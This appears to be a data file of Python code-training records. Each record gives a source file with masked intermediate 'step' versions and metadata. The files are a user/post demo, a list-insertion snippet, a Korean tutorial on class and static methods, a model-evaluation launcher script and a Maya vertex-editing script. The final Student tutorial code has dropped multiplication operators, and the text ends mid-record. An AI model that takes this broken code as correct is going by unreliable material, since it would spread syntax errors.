<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> app_user_one.get_user_info() app_user_one.change_status('in job market') app_user_one.get_user_info() <\|reserved_special_token_0\|> app_user_two.get_user_info() <\|reserved_special_token_0\|> new_post.get_post_info() <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> app_user_one = user.User('rr@gg.com', 'Riks R', 'ppp1', 'student') app_user_one.get_user_info() app_user_one.change_status('in job market') app_user_one.get_user_info() app_user_two = user.User('z43@gg.com', 'Bobby L', 'zz1', 'student') app_user_two.get_user_info() new_post = Post('Going for it', app_user_two.name) new_post.get_post_info() <\|reserved_special_token_1\|> import user from post import Post app_user_one = user.User('rr@gg.com', 'Riks R', 'ppp1', 'student') app_user_one.get_user_info() app_user_one.change_status('in job market') app_user_one.get_user_info() app_user_two = user.User('z43@gg.com', 'Bobby L', 'zz1', 'student') app_user_two.get_user_info() new_post = Post('Going for it', app_user_two.name) new_post.get_post_info() <\|reserved_special_token_1\|> import user # or from user import User from post import Post app_user_one = user.User("rr@gg.com", "Riks R", "ppp1", "student") app_user_one.get_user_info() app_user_one.change_status("in job market") app_user_one.get_user_info() app_user_two = user.User("z43@gg.com", "Bobby L", "zz1", "student") app_user_two.get_user_info() new_post = Post("Going for it", app_user_two.name) new_post.get_post_info()	flexible	{ "blob_id": "f59db28b669a41051cc6d0d4b8e14d1c7b0edd11", "index": 2555, "step-1": "<mask token>\n", "step-2": "<mask token>\napp_user_one.get_user_info()\napp_user_one.change_status('in job market')\napp_user_one.get_user_info()\n<mask token>\napp_user_two.get_user_info()\n<mask token>\nnew_post.get_post_info()\n", "step-3": "<mask token>\napp_user_one = user.User('rr@gg.com', 'Riks R', 'ppp1', 'student')\napp_user_one.get_user_info()\napp_user_one.change_status('in job market')\napp_user_one.get_user_info()\napp_user_two = user.User('z43@gg.com', 'Bobby L', 'zz1', 'student')\napp_user_two.get_user_info()\nnew_post = Post('Going for it', app_user_two.name)\nnew_post.get_post_info()\n", "step-4": "import user\nfrom post import Post\napp_user_one = user.User('rr@gg.com', 'Riks R', 'ppp1', 'student')\napp_user_one.get_user_info()\napp_user_one.change_status('in job market')\napp_user_one.get_user_info()\napp_user_two = user.User('z43@gg.com', 'Bobby L', 'zz1', 'student')\napp_user_two.get_user_info()\nnew_post = Post('Going for it', app_user_two.name)\nnew_post.get_post_info()\n", "step-5": "import user\n\n# or from user import User\nfrom post import Post\napp_user_one = user.User(\"rr@gg.com\", \"Riks R\", \"ppp1\", \"student\")\napp_user_one.get_user_info()\napp_user_one.change_status(\"in job market\")\napp_user_one.get_user_info()\n\n\napp_user_two = user.User(\"z43@gg.com\", \"Bobby L\", \"zz1\", \"student\")\napp_user_two.get_user_info()\n\nnew_post = Post(\"Going for it\", app_user_two.name)\nnew_post.get_post_info()", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
my_list = [9, 9, 9, 8, 8, 7, 7, 6, 6, 5, 4, 4, 4, 2, 2, 1] new_num = int(input('Enter a new number - ')) i = 0 for n in my_list: if new_num <= n: i += 1 my_list.insert(i, float(new_num)) print(my_list)	normal	{ "blob_id": "be16e13c0e03952e45f98b175975795bba19cf9a", "index": 2775, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor n in my_list:\n if new_num <= n:\n i += 1\nmy_list.insert(i, float(new_num))\nprint(my_list)\n", "step-3": "my_list = [9, 9, 9, 8, 8, 7, 7, 6, 6, 5, 4, 4, 4, 2, 2, 1]\nnew_num = int(input('Enter a new number - '))\ni = 0\nfor n in my_list:\n if new_num <= n:\n i += 1\nmy_list.insert(i, float(new_num))\nprint(my_list)\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }	[ 0, 1, 2 ]
class Student(object): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> def full_name(self): return '{} {}'.format(self._first_name, self._last_name) def detail_info(self): return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self ._gpa) <\|reserved_special_token_0\|> def get_fee_culc(self): return 'After tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition * Student.tuition_per) <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> @classmethod def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa): return cls(id, first_name, last_name, email, grade, tuition * cls. tuition_per, gpa) <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> class Student(object): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> def full_name(self): return '{} {}'.format(self._first_name, self._last_name) def detail_info(self): return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self ._gpa) def get_fee(self): return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition) def get_fee_culc(self): return 'After tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition * Student.tuition_per) def __str__(self): return 'Student Info - > name: {} grade: {} email: {}'.format(self. full_name(), self._grade, self._email) <\|reserved_special_token_0\|> @classmethod def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa): return cls(id, first_name, last_name, email, grade, tuition * cls. tuition_per, gpa) <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> class Student(object): <\|reserved_special_token_0\|> tuition_per = 1.0 def __init__(self, id, first_name, last_name, email, grade, tuition, gpa): self._id = id self._first_name = first_name self._last_name = last_name self._email = email self._grade = grade self._tuition = tuition self._gpa = gpa def full_name(self): return '{} {}'.format(self._first_name, self._last_name) def detail_info(self): return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self ._gpa) def get_fee(self): return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition) def get_fee_culc(self): return 'After tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition * Student.tuition_per) def __str__(self): return 'Student Info - > name: {} grade: {} email: {}'.format(self. full_name(), self._grade, self._email) @classmethod def raise_fee(cls, per): if per <= 1: print('Please Enter 1 or More') cls.tuition_per = per print('Succed! tuiton increased') @classmethod def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa): return cls(id, first_name, last_name, email, grade, tuition * cls. tuition_per, gpa) @staticmethod def is_scholarship_st(inst): if inst._gpa >= 4.3: return '{} is a scholarship recipient.'.format(inst._last_name) return 'Sorry. Not a scholarship recipient' <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> class Student(object): """ Student Class Author : Kim Date : 2020.11.07 Description : Class, Static, Instance Method """ tuition_per = 1.0 def __init__(self, id, first_name, last_name, email, grade, tuition, gpa): self._id = id self._first_name = first_name self._last_name = last_name self._email = email self._grade = grade self._tuition = tuition self._gpa = gpa def full_name(self): return '{} {}'.format(self._first_name, self._last_name) def detail_info(self): return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self ._gpa) def get_fee(self): return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition) def get_fee_culc(self): return 'After tuition -> Id: {}, fee: {}'.format(self._id, self. _tuition * Student.tuition_per) def __str__(self): return 'Student Info - > name: {} grade: {} email: {}'.format(self. full_name(), self._grade, self._email) @classmethod def raise_fee(cls, per): if per <= 1: print('Please Enter 1 or More') cls.tuition_per = per print('Succed! tuiton increased') @classmethod def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa): return cls(id, first_name, last_name, email, grade, tuition * cls. tuition_per, gpa) @staticmethod def is_scholarship_st(inst): if inst._gpa >= 4.3: return '{} is a scholarship recipient.'.format(inst._last_name) return 'Sorry. Not a scholarship recipient' <\|reserved_special_token_0\|> def is_scholarship(inst): if inst._gpa >= 4.3: return '{} is a scholarship recipient.'.format(inst._last_name) return 'Sorry. Not a scholarship recipient' <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> #파이썬 심화 #클래스 메소드, 인스턴스 메소드, 스테이틱 메소드 # 기본 인스턴스 메소드 class Student(object): """ Student Class Author : Kim Date : 2020.11.07 Description : Class, Static, Instance Method """ #Class Variable tuition_per = 1.0 def __init__(self, id, first_name, last_name, email, grade, tuition, gpa): self._id = id self._first_name = first_name self._last_name = last_name self._email = email self._grade = grade self._tuition = tuition self._gpa = gpa # Instance Method def full_name(self): return '{} {}'.format(self._first_name, self._last_name) # Instance Method def detail_info(self): return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self._gpa) # Instance Method def get_fee(self): return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self._tuition) # Instance Method def get_fee_culc(self): return 'After tuition -> Id: {}, fee: {}'.format(self._id, self._tuitionStudent.tuition_per) def __str__(self): return 'Student Info - > name: {} grade: {} email: {}'.format(self.full_name(), self._grade, self._email) #Class Method @classmethod def raise_fee(cls, per): if per <= 1: print('Please Enter 1 or More') cls.tuition_per = per print('Succed! tuiton increased') #Class Method @classmethod def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa): return cls(id, first_name, last_name, email, grade, tuition cls.tuition_per, gpa) #Static Method @staticmethod def is_scholarship_st(inst): if inst._gpa >= 4.3: return '{} is a scholarship recipient.'.format(inst._last_name) return "Sorry. Not a scholarship recipient" #학생 인스턴스 student_1 = Student(1, "Kim", 'Sarang', 'student1@naver.com', '1', 400, 3.5) student_2 = Student(2, "Lee", 'Myungho', 'student2@daum.net', '2', 500, 4.3) # 기본 정보 print(student_1) print(student_2) print() #전체 정보 print(student_1.detail_info()) print(student_2.detail_info()) #학비 정보(인상전) print(student_1.get_fee()) print(student_2.get_fee()) #학비 인상 (클래스 매소드 미사용) # Student.tuition_per = 1.2 #학비 인상 (클래스 매소드 사용) Student.raise_fee(1.5) #학비 정보(인상후) print(student_1.get_fee_culc()) print(student_2.get_fee_culc()) # 클래스 메소드 인스턴스 생성 실습 student_3 = Student.student_const(3, 'Park', 'Minji', 'Student3@gmail.com', '3', 550, 4.5) student_4 = Student.student_const(4, 'Cho', 'Sunghan', 'Student4@gmail.com', '4', 6000, 4.1) # 전체 정보 print(student_3.detail_info()) print(student_4.detail_info()) print() #학생 학비 변경 확인 print(student_3._tuition) print(student_4._tuition) print() # 장학금 혜택 여부(스테이틱 메소드 미사용) def is_scholarship(inst): if inst._gpa >= 4.3: return '{} is a scholarship recipient.'.format(inst._last_name) return "Sorry. Not a scholarship recipient" print(is_scholarship(student_1)) print(is_scholarship(student_2)) print(is_scholarship(student_3)) print(is_scholarship(student_4)) print() # 장학금 혜택 여부(스테이틱 메소드 사용) print(Student.is_scholarship_st(student_1)) print(Student.is_scholarship_st(student_2)) print(Student.is_scholarship_st(student_3)) print(Student.is_scholarship_st(student_4)) print() print(student_1.is_scholarship_st(student_1)) print(student_2.is_scholarship_st(student_2)) print(student_3.is_scholarship_st(student_3)) print(student_4.is_scholarship_st(student_4))	flexible	{ "blob_id": "f507fbe7c92134c0a7149aafe7de88debebd42f5", "index": 7760, "step-1": "class Student(object):\n <mask token>\n <mask token>\n <mask token>\n\n def full_name(self):\n return '{} {}'.format(self._first_name, self._last_name)\n\n def detail_info(self):\n return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id,\n self.full_name(), self._email, self._grade, self._tuition, self\n ._gpa)\n <mask token>\n\n def get_fee_culc(self):\n return 'After tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition * Student.tuition_per)\n <mask token>\n <mask token>\n\n @classmethod\n def student_const(cls, id, first_name, last_name, email, grade, tuition,\n gpa):\n return cls(id, first_name, last_name, email, grade, tuition * cls.\n tuition_per, gpa)\n <mask token>\n\n\n<mask token>\n", "step-2": "class Student(object):\n <mask token>\n <mask token>\n <mask token>\n\n def full_name(self):\n return '{} {}'.format(self._first_name, self._last_name)\n\n def detail_info(self):\n return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id,\n self.full_name(), self._email, self._grade, self._tuition, self\n ._gpa)\n\n def get_fee(self):\n return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition)\n\n def get_fee_culc(self):\n return 'After tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition * Student.tuition_per)\n\n def __str__(self):\n return 'Student Info - > name: {} grade: {} email: {}'.format(self.\n full_name(), self._grade, self._email)\n <mask token>\n\n @classmethod\n def student_const(cls, id, first_name, last_name, email, grade, tuition,\n gpa):\n return cls(id, first_name, last_name, email, grade, tuition * cls.\n tuition_per, gpa)\n <mask token>\n\n\n<mask token>\n", "step-3": "class Student(object):\n <mask token>\n tuition_per = 1.0\n\n def __init__(self, id, first_name, last_name, email, grade, tuition, gpa):\n self._id = id\n self._first_name = first_name\n self._last_name = last_name\n self._email = email\n self._grade = grade\n self._tuition = tuition\n self._gpa = gpa\n\n def full_name(self):\n return '{} {}'.format(self._first_name, self._last_name)\n\n def detail_info(self):\n return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id,\n self.full_name(), self._email, self._grade, self._tuition, self\n ._gpa)\n\n def get_fee(self):\n return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition)\n\n def get_fee_culc(self):\n return 'After tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition * Student.tuition_per)\n\n def __str__(self):\n return 'Student Info - > name: {} grade: {} email: {}'.format(self.\n full_name(), self._grade, self._email)\n\n @classmethod\n def raise_fee(cls, per):\n if per <= 1:\n print('Please Enter 1 or More')\n cls.tuition_per = per\n print('Succed! tuiton increased')\n\n @classmethod\n def student_const(cls, id, first_name, last_name, email, grade, tuition,\n gpa):\n return cls(id, first_name, last_name, email, grade, tuition * cls.\n tuition_per, gpa)\n\n @staticmethod\n def is_scholarship_st(inst):\n if inst._gpa >= 4.3:\n return '{} is a scholarship recipient.'.format(inst._last_name)\n return 'Sorry. Not a scholarship recipient'\n\n\n<mask token>\n", "step-4": "class Student(object):\n \"\"\"\n Student Class\n Author : Kim\n Date : 2020.11.07\n Description : Class, Static, Instance Method\n \"\"\"\n tuition_per = 1.0\n\n def __init__(self, id, first_name, last_name, email, grade, tuition, gpa):\n self._id = id\n self._first_name = first_name\n self._last_name = last_name\n self._email = email\n self._grade = grade\n self._tuition = tuition\n self._gpa = gpa\n\n def full_name(self):\n return '{} {}'.format(self._first_name, self._last_name)\n\n def detail_info(self):\n return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id,\n self.full_name(), self._email, self._grade, self._tuition, self\n ._gpa)\n\n def get_fee(self):\n return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition)\n\n def get_fee_culc(self):\n return 'After tuition -> Id: {}, fee: {}'.format(self._id, self.\n _tuition * Student.tuition_per)\n\n def __str__(self):\n return 'Student Info - > name: {} grade: {} email: {}'.format(self.\n full_name(), self._grade, self._email)\n\n @classmethod\n def raise_fee(cls, per):\n if per <= 1:\n print('Please Enter 1 or More')\n cls.tuition_per = per\n print('Succed! tuiton increased')\n\n @classmethod\n def student_const(cls, id, first_name, last_name, email, grade, tuition,\n gpa):\n return cls(id, first_name, last_name, email, grade, tuition * cls.\n tuition_per, gpa)\n\n @staticmethod\n def is_scholarship_st(inst):\n if inst._gpa >= 4.3:\n return '{} is a scholarship recipient.'.format(inst._last_name)\n return 'Sorry. Not a scholarship recipient'\n\n\n<mask token>\n\n\ndef is_scholarship(inst):\n if inst._gpa >= 4.3:\n return '{} is a scholarship recipient.'.format(inst._last_name)\n return 'Sorry. Not a scholarship recipient'\n\n\n<mask token>\n", "step-5": "#파이썬 심화\r\n#클래스 메소드, 인스턴스 메소드, 스테이틱 메소드\r\n\r\n# 기본 인스턴스 메소드\r\n\r\nclass Student(object):\r\n \"\"\"\r\n Student Class\r\n Author : Kim\r\n Date : 2020.11.07\r\n Description : Class, Static, Instance Method\r\n \"\"\"\r\n\r\n #Class Variable\r\n tuition_per = 1.0\r\n\r\n def __init__(self, id, first_name, last_name, email, grade, tuition, gpa):\r\n self._id = id\r\n self._first_name = first_name\r\n self._last_name = last_name\r\n self._email = email\r\n self._grade = grade\r\n self._tuition = tuition\r\n self._gpa = gpa\r\n\r\n # Instance Method\r\n def full_name(self):\r\n return '{} {}'.format(self._first_name, self._last_name)\r\n\r\n # Instance Method\r\n def detail_info(self):\r\n return 'Student Detail Info : {},{},{},{},{},{}'.format(self._id, self.full_name(), self._email, self._grade, self._tuition, self._gpa)\r\n \r\n # Instance Method\r\n def get_fee(self):\r\n return 'Befor Tuition -> Id: {}, fee: {}'.format(self._id, self._tuition)\r\n\r\n # Instance Method\r\n def get_fee_culc(self):\r\n return 'After tuition -> Id: {}, fee: {}'.format(self._id, self._tuitionStudent.tuition_per)\r\n\r\n def __str__(self):\r\n return 'Student Info - > name: {} grade: {} email: {}'.format(self.full_name(), self._grade, self._email)\r\n\r\n #Class Method\r\n @classmethod\r\n def raise_fee(cls, per):\r\n if per <= 1:\r\n print('Please Enter 1 or More')\r\n cls.tuition_per = per\r\n print('Succed! tuiton increased')\r\n\r\n #Class Method\r\n @classmethod\r\n def student_const(cls, id, first_name, last_name, email, grade, tuition, gpa):\r\n return cls(id, first_name, last_name, email, grade, tuition cls.tuition_per, gpa)\r\n\r\n #Static Method\r\n @staticmethod\r\n def is_scholarship_st(inst):\r\n if inst._gpa >= 4.3:\r\n return '{} is a scholarship recipient.'.format(inst._last_name)\r\n return \"Sorry. Not a scholarship recipient\"\r\n\r\n \r\n\r\n#학생 인스턴스\r\nstudent_1 = Student(1, \"Kim\", 'Sarang', 'student1@naver.com', '1', 400, 3.5)\r\nstudent_2 = Student(2, \"Lee\", 'Myungho', 'student2@daum.net', '2', 500, 4.3)\r\n\r\n# 기본 정보\r\nprint(student_1)\r\nprint(student_2)\r\n\r\nprint()\r\n\r\n#전체 정보\r\nprint(student_1.detail_info())\r\nprint(student_2.detail_info())\r\n\r\n#학비 정보(인상전)\r\nprint(student_1.get_fee())\r\nprint(student_2.get_fee())\r\n\r\n#학비 인상 (클래스 매소드 미사용)\r\n# Student.tuition_per = 1.2\r\n\r\n#학비 인상 (클래스 매소드 사용)\r\nStudent.raise_fee(1.5)\r\n\r\n#학비 정보(인상후)\r\nprint(student_1.get_fee_culc())\r\nprint(student_2.get_fee_culc())\r\n\r\n# 클래스 메소드 인스턴스 생성 실습\r\nstudent_3 = Student.student_const(3, 'Park', 'Minji', 'Student3@gmail.com', '3', 550, 4.5)\r\nstudent_4 = Student.student_const(4, 'Cho', 'Sunghan', 'Student4@gmail.com', '4', 6000, 4.1)\r\n\r\n# 전체 정보\r\nprint(student_3.detail_info())\r\nprint(student_4.detail_info())\r\nprint()\r\n\r\n#학생 학비 변경 확인\r\nprint(student_3._tuition)\r\nprint(student_4._tuition)\r\nprint()\r\n\r\n# 장학금 혜택 여부(스테이틱 메소드 미사용)\r\ndef is_scholarship(inst):\r\n if inst._gpa >= 4.3:\r\n return '{} is a scholarship recipient.'.format(inst._last_name)\r\n return \"Sorry. Not a scholarship recipient\"\r\n\r\nprint(is_scholarship(student_1))\r\nprint(is_scholarship(student_2))\r\nprint(is_scholarship(student_3))\r\nprint(is_scholarship(student_4))\r\n\r\nprint()\r\n\r\n# 장학금 혜택 여부(스테이틱 메소드 사용)\r\nprint(Student.is_scholarship_st(student_1))\r\nprint(Student.is_scholarship_st(student_2))\r\nprint(Student.is_scholarship_st(student_3))\r\nprint(Student.is_scholarship_st(student_4))\r\n\r\nprint()\r\n\r\nprint(student_1.is_scholarship_st(student_1))\r\nprint(student_2.is_scholarship_st(student_2))\r\nprint(student_3.is_scholarship_st(student_3))\r\nprint(student_4.is_scholarship_st(student_4))", "step-ids": [ 5, 7, 11, 13, 16 ] }	[ 5, 7, 11, 13, 16 ]
import sys import os import utils def run(name, dim_k, dump='dump', add_cmd=''): res = all_res[name] model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem' cmd = f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}' print(cmd) ret = os.system(cmd) if ret != 0: input('Error!!!!!!') all_res = dict( id_att_3='id_att_3', id_last='id_last', c_att_5='c_att_5', c_last='c_last', ) def main(): run('id_att_3', 1024, dump='dump') run('id_last', 1024, dump='dump') run('c_att_5', 256, dump='dump', add_cmd='-seq_length=5') run('c_last', 256, dump='dump') run('id_att_3', 1024, dump='dump_all', add_cmd='-skip_vali') run('id_last', 1024, dump='dump_all', add_cmd='-skip_vali') run('c_att_5', 256, dump='dump_all', add_cmd='-skip_vali -seq_length=5') run('c_last', 256, dump='dump_all', add_cmd='-skip_vali') if __name__ == '__main__': main()	normal	{ "blob_id": "548a236c4c485091d312593dcb0fa331ff98f1a8", "index": 6359, "step-1": "<mask token>\n\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n cmd = (\n f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}'\n )\n print(cmd)\n ret = os.system(cmd)\n if ret != 0:\n input('Error!!!!!!')\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n cmd = (\n f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}'\n )\n print(cmd)\n ret = os.system(cmd)\n if ret != 0:\n input('Error!!!!!!')\n\n\n<mask token>\n\n\ndef main():\n run('id_att_3', 1024, dump='dump')\n run('id_last', 1024, dump='dump')\n run('c_att_5', 256, dump='dump', add_cmd='-seq_length=5')\n run('c_last', 256, dump='dump')\n run('id_att_3', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('id_last', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('c_att_5', 256, dump='dump_all', add_cmd='-skip_vali -seq_length=5')\n run('c_last', 256, dump='dump_all', add_cmd='-skip_vali')\n\n\nif __name__ == '__main__':\n main()\n", "step-3": "<mask token>\n\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n cmd = (\n f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}'\n )\n print(cmd)\n ret = os.system(cmd)\n if ret != 0:\n input('Error!!!!!!')\n\n\nall_res = dict(id_att_3='id_att_3', id_last='id_last', c_att_5='c_att_5',\n c_last='c_last')\n\n\ndef main():\n run('id_att_3', 1024, dump='dump')\n run('id_last', 1024, dump='dump')\n run('c_att_5', 256, dump='dump', add_cmd='-seq_length=5')\n run('c_last', 256, dump='dump')\n run('id_att_3', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('id_last', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('c_att_5', 256, dump='dump_all', add_cmd='-skip_vali -seq_length=5')\n run('c_last', 256, dump='dump_all', add_cmd='-skip_vali')\n\n\nif __name__ == '__main__':\n main()\n", "step-4": "import sys\nimport os\nimport utils\n\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n cmd = (\n f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}'\n )\n print(cmd)\n ret = os.system(cmd)\n if ret != 0:\n input('Error!!!!!!')\n\n\nall_res = dict(id_att_3='id_att_3', id_last='id_last', c_att_5='c_att_5',\n c_last='c_last')\n\n\ndef main():\n run('id_att_3', 1024, dump='dump')\n run('id_last', 1024, dump='dump')\n run('c_att_5', 256, dump='dump', add_cmd='-seq_length=5')\n run('c_last', 256, dump='dump')\n run('id_att_3', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('id_last', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('c_att_5', 256, dump='dump_all', add_cmd='-skip_vali -seq_length=5')\n run('c_last', 256, dump='dump_all', add_cmd='-skip_vali')\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import sys\nimport os\nimport utils\n\ndef run(name, dim_k, dump='dump', add_cmd=''):\n res = all_res[name]\n model = 'ATT_ts' if res.split('_')[1] == 'att' else 'LastItem'\n\n cmd = f'python main.py -model={model} -ds=v3 -restore_model={res} -k={dim_k} -show_detail -{dump} -nb_topk=2000 -nb_rare_k=1000 -msg={name} {add_cmd}'\n print(cmd)\n\n ret = os.system(cmd)\n if ret != 0:\n input('Error!!!!!!')\n\nall_res = dict(\n id_att_3='id_att_3',\n id_last='id_last',\n\n c_att_5='c_att_5',\n c_last='c_last',\n)\n\n\ndef main():\n run('id_att_3', 1024, dump='dump')\n run('id_last', 1024, dump='dump')\n run('c_att_5', 256, dump='dump', add_cmd='-seq_length=5')\n run('c_last', 256, dump='dump')\n\n run('id_att_3', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('id_last', 1024, dump='dump_all', add_cmd='-skip_vali')\n run('c_att_5', 256, dump='dump_all', add_cmd='-skip_vali -seq_length=5')\n run('c_last', 256, dump='dump_all', add_cmd='-skip_vali')\n\n\n\nif __name__ == '__main__':\n main()", "step-ids": [ 1, 3, 4, 5, 6 ] }	[ 1, 3, 4, 5, 6 ]
""" get poly data(face center, face id, etc), select face, create object by face data setPosition for vertex (random) import sys module_path = '/home/shrimo/Desktop/course/git/vfx_dev/maya/general_lesson' if module_path not in sys.path: sys.path.append(module_path) import lesson_v01 reload(lesson_v01) lesson_v01.start() """ import maya.cmds as cmds import maya.api.OpenMaya as om2 import random class Face(): def __init__(self, shape, face_index, vertex, center): self.face_path = '{shape}.f[{index}]'.format( shape=shape, index=face_index) self.vertex = vertex self.face_index = face_index self.face_center = center def get_shapes(): # get selected object # print(cmds.ls()) # print(cmds.ls(selection=True)) return cmds.ls(selection=True, shapes=True, dagObjects=True) def get_faces(shapes): # cmds.select(clear=True) # print(shapes) face_data = [] for shape in shapes: mSel = om2.MSelectionList() mSel.add(shape) mDagPath, mObj = mSel.getComponent(0) geo = om2.MItMeshPolygon(mDagPath, mObj) while not geo.isDone(): center = geo.center() print 'face index: {}'.format(geo.index()) vertices = [] for i in geo.getPoints(om2.MSpace.kWorld): vertices.append((i[0], i[1], i[2])) face_in = Face(shape, geo.index(), vertices, center) face_data.append(face_in) geo.next(0) return face_data def get_vertex(shapes): vertex_data = [] spc = om2.MSpace.kWorld for shape in shapes: mSel = om2.MSelectionList() mSel.add(shape) mDagPath, mObj = mSel.getComponent(0) vtx = om2.MItMeshVertex(mDagPath, mObj) while not vtx.isDone(): vtx_pos = vtx.position(spc) print 'vertex index: {}'.format(vtx.index()), vtx_pos face_in = Face(shape, vtx.index(), vtx_pos, None) vertex_data.append(face_in) vtx.next() return vertex_data def set_pos_vertex(shapes, up_y): spc = om2.MSpace.kWorld for shape in shapes: mSel = om2.MSelectionList() mSel.add(shape) mDagPath, mObj = mSel.getComponent(0) vtx = om2.MItMeshVertex(mDagPath, mObj) while not vtx.isDone(): vtx_pos = vtx.position(spc) print 'vertex:'+str(vtx.index()), vtx_pos.y if vtx.index() & 1: vtx_pos.y += up_y vtx.setPosition(vtx_pos, spc) vtx.next() vtx.updateSurface() def set_random_vertex(shapes, up_y): spc = om2.MSpace.kWorld for shape in shapes: mSel = om2.MSelectionList() mSel.add(shape) mDagPath, mObj = mSel.getComponent(0) vtx = om2.MItMeshVertex(mDagPath, mObj) while not vtx.isDone(): vtx_pos = vtx.position(spc) print 'vertex:'+str(vtx.index()), vtx_pos.y vtx_pos.z += random.uniform(0, up_y) vtx.setPosition(vtx_pos, spc) vtx.next() vtx.updateSurface() def create_boxes(shapes, group_name, shape_name, on_face): if on_face: face_data = get_faces(shapes) else: face_data = get_vertex(shapes) cmds.group(em=True, name=group_name) for face in face_data: # print(face.face_index, face.face_path, face.face_center) if face.face_index & 1: cmds.select(face.face_path, add=True) p_name = shape_name + str(face.face_index) cmds.polyCube(n=p_name) # create polyCube name by p_ + face index cmds.setAttr(p_name+'.scale', 0.3, 0.3, 0.3) if on_face: cmds.setAttr( p_name+'.translate', face.face_center[0], face.face_center[1], face.face_center[2]) else: cmds.setAttr(p_name+'.translate', face.vertex.x, face.vertex.y, face.vertex.z) cmds.select(all=True) cmds.parent(p_name, group_name) # cmds.group(p_name, parent=group_name) cmds.select(all=True) def start(): # shapes = cmds.ls(selection=True, shapes=True, dagObjects=True) # set_pos_vertex(get_shapes(), 1) # set_random_vertex(get_shapes(), 1) create_boxes(get_shapes(), 'boxes', 'v_', 0)	normal	{ "blob_id": "723d8819b5341f1397163533f59c17ba1a74b77d", "index": 1310, "step-1": "\"\"\"\nget poly data(face center, face id, etc), select face, create object by face data\nsetPosition for vertex (random)\n\nimport sys\nmodule_path = '/home/shrimo/Desktop/course/git/vfx_dev/maya/general_lesson'\nif module_path not in sys.path:\n sys.path.append(module_path)\n \n\nimport lesson_v01\nreload(lesson_v01)\nlesson_v01.start()\n\"\"\"\n\n\nimport maya.cmds as cmds\nimport maya.api.OpenMaya as om2\nimport random\n\n\nclass Face():\n def __init__(self, shape, face_index, vertex, center):\n self.face_path = '{shape}.f[{index}]'.format(\n shape=shape,\n index=face_index)\n self.vertex = vertex\n self.face_index = face_index\n self.face_center = center\n\n\ndef get_shapes():\n # get selected object\n # print(cmds.ls())\n # print(cmds.ls(selection=True))\n return cmds.ls(selection=True, shapes=True, 